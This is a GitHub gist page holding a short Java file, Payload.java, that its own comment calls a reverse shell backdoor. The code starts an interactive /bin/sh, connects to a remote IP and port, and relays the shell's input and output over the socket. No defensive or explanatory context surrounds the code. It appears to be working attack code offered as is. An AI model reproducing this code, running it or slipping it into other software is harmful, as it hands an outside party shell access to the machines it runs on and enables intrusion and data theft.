Skip to content

Instantly share code, notes, and snippets.

@n0mi1k
Created January 16, 2023 10:57
Show Gist options
  • Select an option

  • Save n0mi1k/a2c0c230ba979409334e522ed2272226 to your computer and use it in GitHub Desktop.

Select an option

Save n0mi1k/a2c0c230ba979409334e522ed2272226 to your computer and use it in GitHub Desktop.

Revisions

  1. n0mi1k created this gist Jan 16, 2023.
    33 changes: 33 additions & 0 deletions Payload.java
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,33 @@
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.OutputStream;
    import java.net.Socket;

    // Reverse shell backdoor function
    public class Payload {
    public static void reverse_tcp(String ip,int port){
    try {
    String[] str = {"/bin/sh","-i"};
    Process p = Runtime.getRuntime().exec(str);
    InputStream pin = p.getInputStream();
    InputStream perr = p.getErrorStream();
    OutputStream pout = p.getOutputStream();

    Socket socket = new Socket(ip,port);
    InputStream sin = socket.getInputStream();
    OutputStream sout = socket.getOutputStream();

    while(true){
    while(pin.available()>0) sout.write(pin.read());
    while(perr.available()>0) sout.write(perr.read());
    while(sin.available()>0) pout.write(sin.read());
    sout.flush();
    pout.flush();
    }
    } catch (IOException e) {
    e.printStackTrace();
    }catch (StringIndexOutOfBoundsException e) {
    e.printStackTrace();
    }
    }
    }